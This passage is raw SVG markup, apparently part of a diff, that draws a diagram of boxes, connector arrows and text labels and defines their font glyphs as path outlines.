305.3125 354.898438 Z M 305.3125 360.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.3125 360.898438 L 311.3125 360.898438 L 311.3125 388.898438 L 191.3125 388.898438 Z M 191.3125 360.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 388.898438 L 191.3125 388.898438 C 191.3125 392.210938 194 394.898438 197.3125 394.898438 Z M 197.3125 388.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 305.3125 388.898438 L 305.3125 394.898438 C 308.625 394.898438 311.3125 392.210938 311.3125 388.898438 Z M 305.3125 388.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.051825 58.264122 L 39.451825 58.264122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 60.264122 L 39.451825 60.264122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 58.264122 L 34.051825 58.264122 C 33.8862 58.264122 33.751825 58.398497 33.751825 58.564122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.751825 58.564122 L 39.751825 58.564122 C 39.751825 58.398497 39.61745 58.264122 39.451825 58.264122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 58.564122 L 33.751825 59.964122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.751825 58.564122 L 39.751825 59.964122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 59.964122 L 33.751825 59.964122 C 33.751825 60.129747 33.8862 60.264122 34.051825 60.264122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.451825 60.264122 L 39.451825 60.264122 C 39.61745 60.264122 39.751825 60.129747 39.751825 59.964122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 477.3125 283.667969 L 605.3125 283.667969 L 605.3125 323.667969 L 477.3125 323.667969 Z M 477.3125 283.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 477.3125 289.667969 L 477.3125 283.667969 C 474 283.667969 471.3125 286.355469 471.3125 289.667969 Z M 477.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 289.667969 L 611.3125 289.667969 C 611.3125 286.355469 608.625 283.667969 605.3125 283.667969 Z M 605.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 471.3125 289.667969 L 611.3125 289.667969 L 611.3125 317.667969 L 471.3125 317.667969 Z M 471.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 477.3125 317.667969 L 471.3125 317.667969 C 471.3125 320.980469 474 323.667969 477.3125 323.667969 Z M 477.3125 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 317.667969 L 605.3125 323.667969 C 608.625 323.667969 611.3125 320.980469 611.3125 317.667969 Z M 605.3125 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 48.051825 54.702598 L 54.451825 54.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 48.051825 56.702598 L 54.451825 56.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 48.051825 54.702598 L 48.051825 54.702598 C 47.8862 54.702598 47.751825 54.836973 47.751825 55.002598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 55.002598 L 54.751825 55.002598 C 54.751825 54.836973 54.61745 54.702598 54.451825 54.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 47.751825 55.002598 L 47.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 55.002598 L 54.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 47.751825 56.402598 L 47.751825 56.402598 C 47.751825 56.568223 47.8862 56.702598 48.051825 56.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.451825 56.702598 L 54.451825 56.702598 C 54.61745 56.702598 54.751825 56.568223 54.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 422.511719 290.542969 L 460.3125 290.542969 L 460.3125 316.792969 L 422.511719 316.792969 Z M 422.511719 290.542969" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#S" x="423.066" y="311.195"/><use xlink:href="#M" x="431.855" y="311.195"/><use xlink:href="#T" x="437.676" y="311.195"/><use xlink:href="#M" x="445.938" y="311.195"/><use xlink:href="#d" x="451.758" y="311.195"/></g><path d="M 27.900653 42.973497 L 27.905536 44.871934" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 27.905536 44.871934 C 27.780536 44.87213 27.655145 44.74752 27.65495 44.62252 C 27.654559 44.49752 27.779169 44.37213 27.904169 44.371934 C 28.029169 44.371544 28.154559 44.496348 28.15495 44.621348 C 28.155145 44.746348 28.030536 44.871544 27.905536 44.871934" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 46.275067 43.802208 L 46.249091 49.473887" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 46.249091 49.473887 C 46.124091 49.473302 45.999481 49.347716 46.000067 49.222716 C 46.000653 49.097716 46.126239 48.973302 46.251239 48.973887 C 46.376239 48.974473 46.500653 49.100059 46.500067 49.225059 C 46.499481 49.350059 46.374091 49.474473 46.249091 49.473887" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 519.304688 458.691406 L 696.003906 458.691406 L 696.003906 482.089844 L 519.304688 482.089844 Z M 519.304688 458.691406" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#B" x="519.305" y="477.09"/><use xlink:href="#x" x="527.137" y="477.09"/><use xlink:href="#r" x="534.91" y="477.09"/><use xlink:href="#l" x="540.984" y="477.09"/><use xlink:href="#p" x="545.926" y="477.09"/><use xlink:href="#I" x="553.133" y="477.09"/><use xlink:href="#U" x="557.332" y="477.09"/><use xlink:href="#p" x="563.348" y="477.09"/><use xlink:href="#q" x="570.555" y="477.09"/><use xlink:href="#q" x="578.348" y="477.09"/><use xlink:href="#m" x="586.141" y="477.09"/><use xlink:href="#n" x="591.082" y="477.09"/><use xlink:href="#r" x="598.523" y="477.09"/><use xlink:href="#r" x="604.598" y="477.09"/><use xlink:href="#U" x="610.672" y="477.09"/><use xlink:href="#r" x="616.688" y="477.09"/><use xlink:href="#l" x="622.762" y="477.09"/><use xlink:href="#p" x="627.703" y="477.09"/><use xlink:href="#l" x="634.91" y="477.09"/><use xlink:href="#n" x="639.734" y="477.09"/><use xlink:href="#U" x="647.176" y="477.09"/><use xlink:href="#V" x="653.191" y="477.09"/><use xlink:href="#H" x="663.816" y="477.09"/><use xlink:href="#q" x="667.723" y="477.09"/><use xlink:href="#J" x="675.516" y="477.09"/><use xlink:href="#n" x="683.289" y="477.09"/><use xlink:href="#l" x="690.73" y="477.09"/></g><path d="M 44.988281 24.355469 L 165.839844 24.355469 L 165.839844 47.753906 L 44.988281 47.753906 Z M 44.988281 24.355469" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#B" x="44.988" y="42.754"/><use xlink:href="#x" x="52.82" y="42.754"/><use xlink:href="#r" x="60.594" y="42.754"/><use xlink:href="#l" x="66.668" y="42.754"/><use xlink:href="#p" x="71.609" y="42.754"/><use xlink:href="#I" x="78.816" y="42.754"/><use xlink:href="#U" x="83.016" y="42.754"/><use xlink:href="#p" x="89.031" y="42.754"/><use xlink:href="#q" x="96.238" y="42.754"/><use xlink:href="#q" x="104.031" y="42.754"/><use xlink:href="#m" x="111.824" y="42.754"/><use xlink:href="#n" x="116.766" y="42.754"/><use xlink:href="#r" x="124.207" y="42.754"/><use xlink:href="#r" x="130.281" y="42.754"/><use xlink:href="#U" x="136.355" y="42.754"/><use xlink:href="#m" x="142.371" y="42.754"/><use xlink:href="#x" x="147.313" y="42.754"/><use xlink:href="#V" x="154.949" y="42.754"/></g><path d="M 311.148438 41.605469 L 524.5 41.605469 L 524.5 65.003906 L 311.148438 65.003906 Z M 311.148438 41.605469" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#B" x="311.148" y="60.008"/><use xlink:href="#x" x="318.98" y="60.008"/><use xlink:href="#r" x="326.754" y="60.008"/><use xlink:href="#l" x="332.828" y="60.008"/><use xlink:href="#p" x="337.77" y="60.008"/><use xlink:href="#I" x="344.977" y="60.008"/><use xlink:href="#U" x="349.176" y="60.008"/><use xlink:href="#p" x="355.191" y="60.008"/><use xlink:href="#q" x="362.398" y="60.008"/><use xlink:href="#q" x="370.191" y="60.008"/><use xlink:href="#m" x="377.984" y="60.008"/><use xlink:href="#n" x="382.926" y="60.008"/><use xlink:href="#r" x="390.367" y="60.008"/><use xlink:href="#r" x="396.441" y="60.008"/><use xlink:href="#U" x="402.516" y="60.008"/><use xlink:href="#p" x="408.531" y="60.008"/><use xlink:href="#q" x="415.738" y="60.008"/><use xlink:href="#q" x="423.531" y="60.008"/><use xlink:href="#m" x="431.324" y="60.008"/><use xlink:href="#n" x="436.266" y="60.008"/><use xlink:href="#r" x="443.707" y="60.008"/><use xlink:href="#r" x="449.781" y="60.008"/><use xlink:href="#W" x="455.855" y="60.008"/><use xlink:href="#H" x="463.316" y="60.008"/><use xlink:href="#C" x="467.223" y="60.008"/><use xlink:href="#n" x="475.133" y="60.008"/><use xlink:href="#X" x="482.574" y="60.008"/><use xlink:href="#U" x="490.68" y="60.008"/><use xlink:href="#Y" x="496.695" y="60.008"/><use xlink:href="#n" x="504.625" y="60.008"/><use xlink:href="#I" x="512.066" y="60.008"/><use xlink:href="#B" x="516.266" y="60.008"/></g><path d="M 54.402344 467.421875 L 238.003906 467.421875 L 238.003906 490.820312 L 54.402344 490.820312 Z M 54.402344 467.421875" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#B" x="54.402" y="485.82"/><use xlink:href="#x" x="62.234" y="485.82"/><use xlink:href="#r" x="70.008" y="485.82"/><use xlink:href="#l" x="76.082" y="485.82"/><use xlink:href="#p" x="81.023" y="485.82"/><use xlink:href="#I" x="88.23" y="485.82"/><use xlink:href="#U" x="92.43" y="485.82"/><use xlink:href="#p" x="98.445" y="485.82"/><use xlink:href="#q" x="105.652" y="485.82"/><use xlink:href="#q" x="113.445" y="485.82"/><use xlink:href="#m" x="121.238" y="485.82"/><use xlink:href="#n" x="126.18" y="485.82"/><use xlink:href="#r" x="133.621" y="485.82"/><use xlink:href="#r" x="139.695" y="485.82"/><use xlink:href="#U" x="145.77" y="485.82"/><use xlink:href="#Z" x="151.785" y="485.82"/><use xlink:href="#H" x="158.27" y="485.82"/><use xlink:href="#B" x="162.176" y="485.82"/><use xlink:href="#aa" x="170.008" y="485.82"/><use xlink:href="#x" x="177.781" y="485.82"/><use xlink:href="#q" x="185.555" y="485.82"/><use xlink:href="#n" x="193.348" y="485.82"/><use xlink:href="#U" x="200.789" y="485.82"/><use xlink:href="#I" x="206.805" y="485.82"/><use xlink:href="#p" x="211.004" y="485.82"/><use xlink:href="#w" x="218.211" y="485.82"/><use xlink:href="#n" x="226.023" y="485.82"/><use xlink:href="#I" x="233.465" y="485.82"/></g><path d="M 53.802606 63.60045 L 53.829364 56.467247" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 53.829364 56.467247 C 53.954364 56.467637 54.078778 56.593223 54.078387 56.718223 C 54.077997 56.843223 53.952411 56.967637 53.827411 56.967247 C 53.702411 56.966661 53.577997 56.84127 53.578387 56.71627 C 53.578778 56.59127 53.704364 56.466661 53.829364 56.467247" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 29.356122 63.967833 L 29.382684 59.091075" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 29.382684 59.091075 C 29.507684 59.091856 29.632098 59.217442 29.631317 59.342442 C 29.630731 59.467442 29.50495 59.591856 29.37995 59.591075 C 29.25495 59.590489 29.130731 59.464708 29.131317 59.339708 C 29.132098 59.214708 29.257684 59.090489 29.382684 59.091075" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/></svg>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="650" viewBox="0 0 722 512"><defs><symbol overflow="visible" id="a"><path style="stroke:none" d="M6.563-3.156H3.265L2.437 0h-2.5L4-14.094h1.984L10.063 0H7.421zM3.796-5.234h2.328L5.312-8.5 5-10.703h-.078l-.344 2.219zm0 0"/></symbol><symbol overflow="visible" id="b"><path style="stroke:none" d="M8.047-3.516c0 .555.004 1.11.015 1.672.008.563.063 1.184.157 1.86H6.547l-.328-1.157H6.14C5.68-.203 4.89.266 3.766.266 2.742.266 1.94-.133 1.359-.938.785-1.738.5-3.038.5-4.844c0-1.758.313-3.093.938-4 .625-.914 1.554-1.375 2.796-1.375.32 0 .586.024.797.063.219.043.426.11.625.203V-14h2.39zM4.312-1.922c.364 0 .649-.086.86-.266.219-.175.379-.44.484-.796v-4.72a1.396 1.396 0 0 0-.453-.25 1.865 1.865 0 0 0-.64-.093c-.532 0-.934.246-1.204.735-.273.48-.406 1.328-.406 2.546 0 .93.11 1.637.328 2.125.227.48.57.72 1.031.72zm0 0"/></symbol><symbol overflow="visible" id="c"><path style="stroke:none" d="M5.578-7.64a2.699 2.699 0 0 0-.875-.173c-.367 0-.68.102-.937.297-.262.2-.438.477-.532.829V0H.86v-10h1.829l.265 1.203h.094c.164-.437.41-.781.734-1.031.332-.25.711-.375 1.14-.375.321 0 .634.07.938.203zm0 0"/></symbol><symbol overflow="visible" id="d"><path style="stroke:none" d="M7.625-.734c-.336.293-.79.53-1.36.718a5.808 5.808 0 0 1-1.812.282c-.687 0-1.281-.121-1.781-.36a3.164 3.164 0 0 1-1.235-1.031C1.113-1.582.875-2.133.72-2.781.57-3.437.5-4.176.5-5c0-1.8.352-3.129 1.063-3.984.718-.864 1.71-1.297 2.984-1.297.426 0 .836.062 1.234.187.395.125.75.34 1.063.64.312.306.566.704.765 1.204.196.5.297 1.133.297 1.89 0 .294-.023.606-.062.938-.032.336-.078.695-.14 1.078h-4.86c.02.836.191 1.469.515 1.907.32.437.836.656 1.547.656a3.11 3.11 0 0 0 1.157-.203c.351-.133.625-.274.812-.422zM4.5-8.234c-.512 0-.89.203-1.14.609-.25.406-.4.977-.438 1.703h2.765c.032-.758-.054-1.332-.25-1.719-.199-.394-.511-.593-.937-.593zm0 0"/></symbol><symbol overflow="visible" id="e"><path style="stroke:none" d="M4.219-2.656a.99.99 0 0 0-.266-.703 3.047 3.047 0 0 0-.687-.547l-.891-.516a5.125 5.125 0 0 1-.89-.64A3.187 3.187 0 0 1 .78-5.97c-.18-.363-.265-.82-.265-1.375 0-.926.254-1.644.765-2.156.508-.508 1.254-.766 2.235-.766.593 0 1.144.07 1.656.204.52.124.937.28 1.25.468l-.563 1.828a7.374 7.374 0 0 0-.921-.296 3.866 3.866 0 0 0-1.063-.157c-.648 0-.969.274-.969.813 0 .261.086.476.266.64.176.168.406.329.687.485.282.156.579.324.891.5.313.18.61.398.89.656.282.262.508.578.688.953.176.367.266.824.266 1.375 0 .918-.282 1.656-.844 2.219-.555.562-1.383.844-2.484.844-.555 0-1.094-.07-1.625-.204C1.117-.07.695-.241.375-.453l.672-1.922c.27.156.586.297.953.422.375.117.758.172 1.156.172.313 0 .567-.067.766-.203.195-.145.297-.368.297-.672zm0 0"/></symbol><symbol overflow="visible" id="g"><path style="stroke:none" d="M3.281-3.234c0 .46.047.793.14 1 .095.199.243.296.454.296.125 0 .25-.007.375-.03.125-.032.27-.083.438-.157l.218 1.922c-.168.105-.445.203-.828.297-.387.093-.777.14-1.172.14-.668 0-1.168-.168-1.5-.5-.336-.332-.5-.894-.5-1.687V-14h2.375zm0 0"/></symbol><symbol overflow="visible" id="h"><path style="stroke:none" d="M1.063-10h2.375V0H1.062zm.14-2.813c0-.406.125-.738.375-1 .25-.257.61-.39 1.078-.39.469 0 .844.133 1.125.39.281.25.422.586.422 1 0 .407-.14.731-.422.97-.281.241-.656.359-1.125.359s-.828-.118-1.078-.36c-.25-.25-.375-.57-.375-.969zm0 0"/></symbol><symbol overflow="visible" id="i"><path style="stroke:none" d="M5.813 0v-6.078c0-.738-.09-1.254-.266-1.547-.168-.29-.453-.438-.86-.438-.355 0-.656.11-.906.329-.25.21-.433.476-.547.796V0H.86v-10h1.907l.28 1.156h.048c.238-.383.566-.71.984-.984.414-.27.957-.406 1.625-.406.395 0 .75.062 1.063.187.312.117.57.309.78.578.22.274.38.637.485 1.094.114.46.172 1.031.172 1.719V0zm0 0"/></symbol><symbol overflow="visible" id="j"><path style="stroke:none" d="M1.734-2.125h2.282v-7.86l.265-1.359-.828 1.188-1.312 1.015-1.094-1.343 3.86-3.75h1.39v12.109h2.25V0H1.734zm0 0"/></symbol><symbol overflow="visible" id="E"><path style="stroke:none" d="M8.047-10.64a7.8 7.8 0 0 1-.313 2.14c-.199.719-.453 1.43-.765 2.125a20.678 20.678 0 0 1-1.032 1.984c-.375.625-.742 1.18-1.093 1.657l-.89.812v.11l1.202-.313h3.11V0H1.234v-1.375c.282-.352.582-.75.907-1.188.332-.445.66-.921.984-1.421.332-.5.648-1.02.953-1.563.313-.539.582-1.082.813-1.625.226-.539.41-1.07.546-1.594.145-.52.22-1.004.22-1.453 0-.562-.137-1.015-.407-1.36-.262-.343-.672-.515-1.234-.515a2.57 2.57 0 0 0-1.047.235 3.09 3.09 0 0 0-.875.546l-.89-1.75a4.943 4.943 0 0 1 1.468-.89c.562-.219 1.223-.328 1.984-.328.477 0 .926.078 1.344.234.414.156.77.387 1.063.688.3.304.539.683.718 1.14.176.45.266.977.266 1.578zm0 0"/></symbol><symbol overflow="visible" id="L"><path style="stroke:none" d="M8.844-.563c-.356.293-.824.508-1.406.641a7.62 7.62 0 0 1-1.72.203c-.718 0-1.39-.12-2.015-.36-.617-.25-1.156-.66-1.625-1.234-.469-.582-.84-1.335-1.11-2.265-.261-.938-.39-2.082-.39-3.438 0-1.414.149-2.586.453-3.515.301-.938.692-1.68 1.172-2.235.488-.55 1.047-.941 1.672-1.171a5.549 5.549 0 0 1 1.906-.344c.657 0 1.223.058 1.703.172.489.105.891.218 1.204.343l-.5 2.22a4.112 4.112 0 0 0-.907-.298 5.909 5.909 0 0 0-1.203-.11c-.918 0-1.625.403-2.125 1.204-.492.793-.734 2.043-.734 3.75 0 .73.054 1.402.172 2.016.113.605.289 1.125.53 1.562.25.438.563.777.938 1.016.383.242.844.36 1.375.36.47 0 .868-.063 1.204-.188.332-.125.632-.274.906-.454zm0 0"/></symbol><symbol overflow="visible" id="M"><path style="stroke:none" d="M.078-10h1.11v-1.875l2.375-.75V-10H5.5v2.125H3.562v4.36c0 .574.055.98.172 1.218.114.242.317.36.61.36.195 0 .375-.02.531-.063.164-.04.344-.102.531-.188L5.703-.28a4.676 4.676 0 0 1-1.031.36 4.78 4.78 0 0 1-1.219.155c-.762 0-1.328-.218-1.703-.656-.375-.437-.563-1.176-.563-2.219v-5.234H.079zm0 0"/></symbol><symbol overflow="visible" id="N"><path style="stroke:none" d="m4.063-4.375.25 1.563h.109l.172-1.594L5.766-10h2.437l-2.5 9.016c-.23.793-.445 1.5-.64 2.125-.2.625-.415 1.156-.641 1.593-.23.446-.492.786-.781 1.016a1.573 1.573 0 0 1-1.016.344c-.281 0-.555-.028-.813-.078a2.123 2.123 0 0 1-.671-.22l.406-2.03c.164.062.336.086.516.078a.73.73 0 0 0 .5-.203c.156-.125.289-.325.406-.594.125-.262.226-.61.312-1.047L-.203-10h2.86zm0 0"/></symbol><symbol overflow="visible" id="O"><path style="stroke:none" d="m.422-2.313 4.672-8.546.843-.829H.423V-14h8.062v2.313L3.781-3.079l-.828.765h5.531V0H.422zm0 0"/></symbol><symbol overflow="visible" id="P"><path style="stroke:none" d="M1.125-14h2.516V0H1.125zm0 0"/></symbol><symbol overflow="visible" id="Q"><path style="stroke:none" d="M.906-13.86a15.781 15.781 0 0 1 1.578-.25c.57-.062 1.145-.093 1.72-.093.612 0 1.218.058 1.812.172.593.117 1.117.34 1.578.672.468.336.847.804 1.14 1.406.301.605.454 1.398.454 2.375 0 .875-.126 1.621-.376 2.234-.25.617-.585 1.117-1 1.5A3.704 3.704 0 0 1 6.391-5a5.29 5.29 0 0 1-1.672.266h-.266a10.596 10.596 0 0 1-.766-.047 1.822 1.822 0 0 1-.265-.032V0H.906zm2.516 6.782c.082.023.234.043.453.062a4.6 4.6 0 0 0 .438.032c.3 0 .582-.036.843-.11.27-.082.508-.218.719-.406.207-.195.367-.46.484-.797.125-.344.188-.773.188-1.297 0-.445-.059-.82-.172-1.125a1.862 1.862 0 0 0-.469-.734 1.628 1.628 0 0 0-.672-.375 2.54 2.54 0 0 0-.796-.125c-.418 0-.758.031-1.016.094zm0 0"/></symbol><symbol overflow="visible" id="R"><path style="stroke:none" d="M.5-5c0-1.77.344-3.086 1.031-3.953.696-.875 1.664-1.313 2.907-1.313 1.332 0 2.328.446 2.984 1.329.656.874.984 2.187.984 3.937 0 1.793-.351 3.121-1.047 3.984C6.66-.16 5.688.266 4.438.266 1.813.266.5-1.488.5-5zm2.453 0c0 1 .113 1.777.344 2.328.226.543.61.813 1.14.813.508 0 .883-.235 1.125-.704.25-.476.375-1.289.375-2.437 0-1.031-.117-1.813-.343-2.344-.219-.531-.606-.797-1.157-.797-.468 0-.835.243-1.093.72-.262.468-.39 1.276-.39 2.421zm0 0"/></symbol><symbol overflow="visible" id="S"><path style="stroke:none" d="M5.797-3.594c0-.426-.125-.789-.375-1.094-.25-.3-.57-.582-.953-.843-.375-.27-.79-.547-1.235-.828a7.376 7.376 0 0 1-1.25-.985 5.242 5.242 0 0 1-.953-1.312c-.25-.508-.375-1.13-.375-1.86 0-.687.102-1.265.313-1.734.207-.469.488-.852.844-1.156.363-.301.789-.52 1.28-.656a5.713 5.713 0 0 1 1.595-.22c.675 0 1.304.071 1.89.204.582.137 1.07.312 1.469.531l-.781 2.235c-.23-.165-.57-.313-1.016-.438a5.103 5.103 0 0 0-1.453-.203c-.524 0-.922.11-1.203.328-.274.21-.406.516-.406.922 0 .375.124.71.374 1a5.7 5.7 0 0 0 .938.828c.383.262.8.54 1.25.828.445.281.86.617 1.234 1 .383.375.704.824.954 1.344.25.512.375 1.121.375 1.828 0 .71-.106 1.324-.313 1.844-.2.511-.492.937-.875 1.281A3.528 3.528 0 0 1 5.75.016 5.602 5.602 0 0 1 3.984.28c-.836 0-1.562-.086-2.187-.25C1.18-.125.707-.3.375-.5l.828-2.266c.258.168.625.329 1.094.485.469.156.969.234 1.5.234 1.332 0 2-.515 2-1.547zm0 0"/></symbol><symbol overflow="visible" id="T"><path style="stroke:none" d="M.875-9.406c.406-.239.906-.43 1.5-.578a8.794 8.794 0 0 1 2.047-.22c1.133 0 1.922.298 2.36.892.445.585.671 1.417.671 2.5 0 .625-.016 1.242-.047 1.843-.031.606-.058 1.2-.078 1.782-.012.585 0 1.148.031 1.687.04.531.133 1.04.282 1.516H5.703l-.39-1.22h-.079a2.74 2.74 0 0 1-.89.97c-.387.25-.875.375-1.469.375-.781 0-1.402-.258-1.86-.782C.567-1.17.345-1.879.345-2.766c0-1.195.426-2.046 1.281-2.546.852-.508 2.004-.723 3.453-.641.07-.781.024-1.344-.14-1.688-.168-.343-.528-.515-1.079-.515-.398 0-.808.047-1.234.14-.43.094-.809.227-1.14.391zm2.86 7.5c.363 0 .656-.086.874-.266a1.88 1.88 0 0 0 .516-.594v-1.656a3.802 3.802 0 0 0-.89-.016 2.23 2.23 0 0 0-.735.172c-.21.094-.383.235-.516.422-.125.18-.187.406-.187.688 0 .406.082.719.25.937.164.211.394.313.687.313zm0 0"/></symbol><symbol overflow="visible" id="k"><path style="stroke:none" d="M1.063-1.672c.226.156.546.305.953.438.414.136.89.203 1.421.203.676 0 1.223-.16 1.641-.485.414-.332.625-.851.625-1.562 0-.469-.121-.875-.36-1.219a4.588 4.588 0 0 0-.905-.969c-.356-.289-.743-.578-1.157-.859a9.064 9.064 0 0 1-1.172-.938 4.842 4.842 0 0 1-.89-1.171c-.242-.446-.36-.985-.36-1.61 0-1.008.301-1.754.907-2.234.613-.488 1.406-.735 2.375-.735.601 0 1.132.06 1.593.172.47.106.848.243 1.141.407l-.438 1.187c-.21-.133-.515-.254-.921-.36a5.19 5.19 0 0 0-1.391-.171c-.648 0-1.125.164-1.438.484-.312.313-.468.711-.468 1.188 0 .43.117.804.36 1.125.237.324.534.633.89.922.363.28.75.574 1.156.875.414.293.805.62 1.172.984.363.355.664.762.906 1.219.238.449.36.984.36 1.61 0 1.062-.313 1.898-.938 2.5-.625.593-1.512.89-2.656.89-.719 0-1.309-.07-1.766-.203C1.243-.117.875-.27.593-.438zm0 0"/></symbol><symbol overflow="visible" id="l"><path style="stroke:none" d="M.156-9h1.11v-1.781l1.296-.422V-9H4.5v1.172H2.562v5.36c0 .53.063.917.188 1.155.125.231.328.344.61.344.238 0 .445-.023.624-.078.176-.062.364-.133.563-.219l.266 1.032c-.274.136-.57.238-.891.312-.313.082-.64.125-.985.125-.605 0-1.039-.195-1.296-.578-.25-.395-.375-1.031-.375-1.906v-5.547H.156zm0 0"/></symbol><symbol overflow="visible" id="m"><path style="stroke:none" d="M1.063-9h.921l.235.953h.047c.164-.344.382-.613.656-.812.27-.196.598-.297.984-.297.27 0 .582.054.938.156l-.25 1.313a2.75 2.75 0 0 0-.828-.157c-.387 0-.7.11-.938.328-.242.22-.398.516-.469.891V0H1.063zm0 0"/></symbol><symbol overflow="visible" id="n"><path style="stroke:none" d="M6.438-.61c-.282.262-.649.465-1.094.61a4.456 4.456 0 0 1-1.407.219c-.562 0-1.054-.11-1.468-.328a2.921 2.921 0 0 1-1.016-.954C1.18-1.476.984-1.973.86-2.546A9.338 9.338 0 0 1 .672-4.5c0-1.531.281-2.695.844-3.5.562-.813 1.359-1.219 2.39-1.219.332 0 .664.043 1 .125.332.086.63.258.89.516.259.25.47.605.626 1.062.164.45.25 1.043.25 1.782 0 .199-.012.418-.031.656-.012.23-.028.469-.047.719H2.016c0 .523.039.992.125 1.406.082.418.21.777.39 1.078.188.293.422.523.703.688.282.156.63.234 1.047.234.32 0 .64-.055.953-.172.32-.125.567-.27.735-.438zm-1-4.827c.019-.895-.11-1.551-.391-1.97-.274-.425-.649-.64-1.125-.64-.555 0-.992.215-1.313.64-.324.419-.515 1.075-.578 1.97zm0 0"/></symbol><symbol overflow="visible" id="p"><path style="stroke:none" d="M.969-8.453c.351-.219.773-.383 1.265-.5a6.47 6.47 0 0 1 1.579-.188c.507 0 .914.079 1.218.235.301.148.54.351.719.61.176.25.29.542.344.874.05.324.078.668.078 1.031 0 .72-.016 1.422-.047 2.11-.031.68-.047 1.324-.047 1.937 0 .461.016.887.047 1.281.031.387.086.75.172 1.094h-.984L5-1.03h-.063a2.544 2.544 0 0 1-.796.812c-.344.227-.813.344-1.407.344-.648 0-1.18-.223-1.593-.672C.723-.992.516-1.613.516-2.407c0-.519.086-.952.265-1.296a2.17 2.17 0 0 1 .735-.844A3.04 3.04 0 0 1 2.656-5c.438-.094.926-.14 1.469-.14h.344c.125 0 .254.007.39.015.032-.375.047-.707.047-1 0-.676-.105-1.148-.312-1.422-.2-.281-.57-.422-1.11-.422-.336 0-.699.055-1.093.157a3.41 3.41 0 0 0-.985.375zM4.875-4.11a5.296 5.296 0 0 0-.36-.016c-.117-.008-.234-.016-.359-.016-.293 0-.578.028-.86.079a2.122 2.122 0 0 0-.733.25c-.211.117-.376.277-.5.484-.126.2-.188.453-.188.765 0 .481.113.856.344 1.126.238.261.539.39.906.39.508 0 .898-.117 1.172-.36.281-.238.473-.503.578-.796zm0 0"/></symbol><symbol overflow="visible" id="q"><path style="stroke:none" d="M6.734-3.094c0 .617.004 1.172.016 1.672.008.492.05.977.125 1.453H6l-.297-1.078h-.062c-.18.367-.45.668-.813.906-.355.239-.781.36-1.281.36-.969 0-1.695-.375-2.172-1.125C.906-1.664.672-2.86.672-4.484c0-1.532.285-2.692.86-3.485.581-.789 1.382-1.187 2.405-1.187.352 0 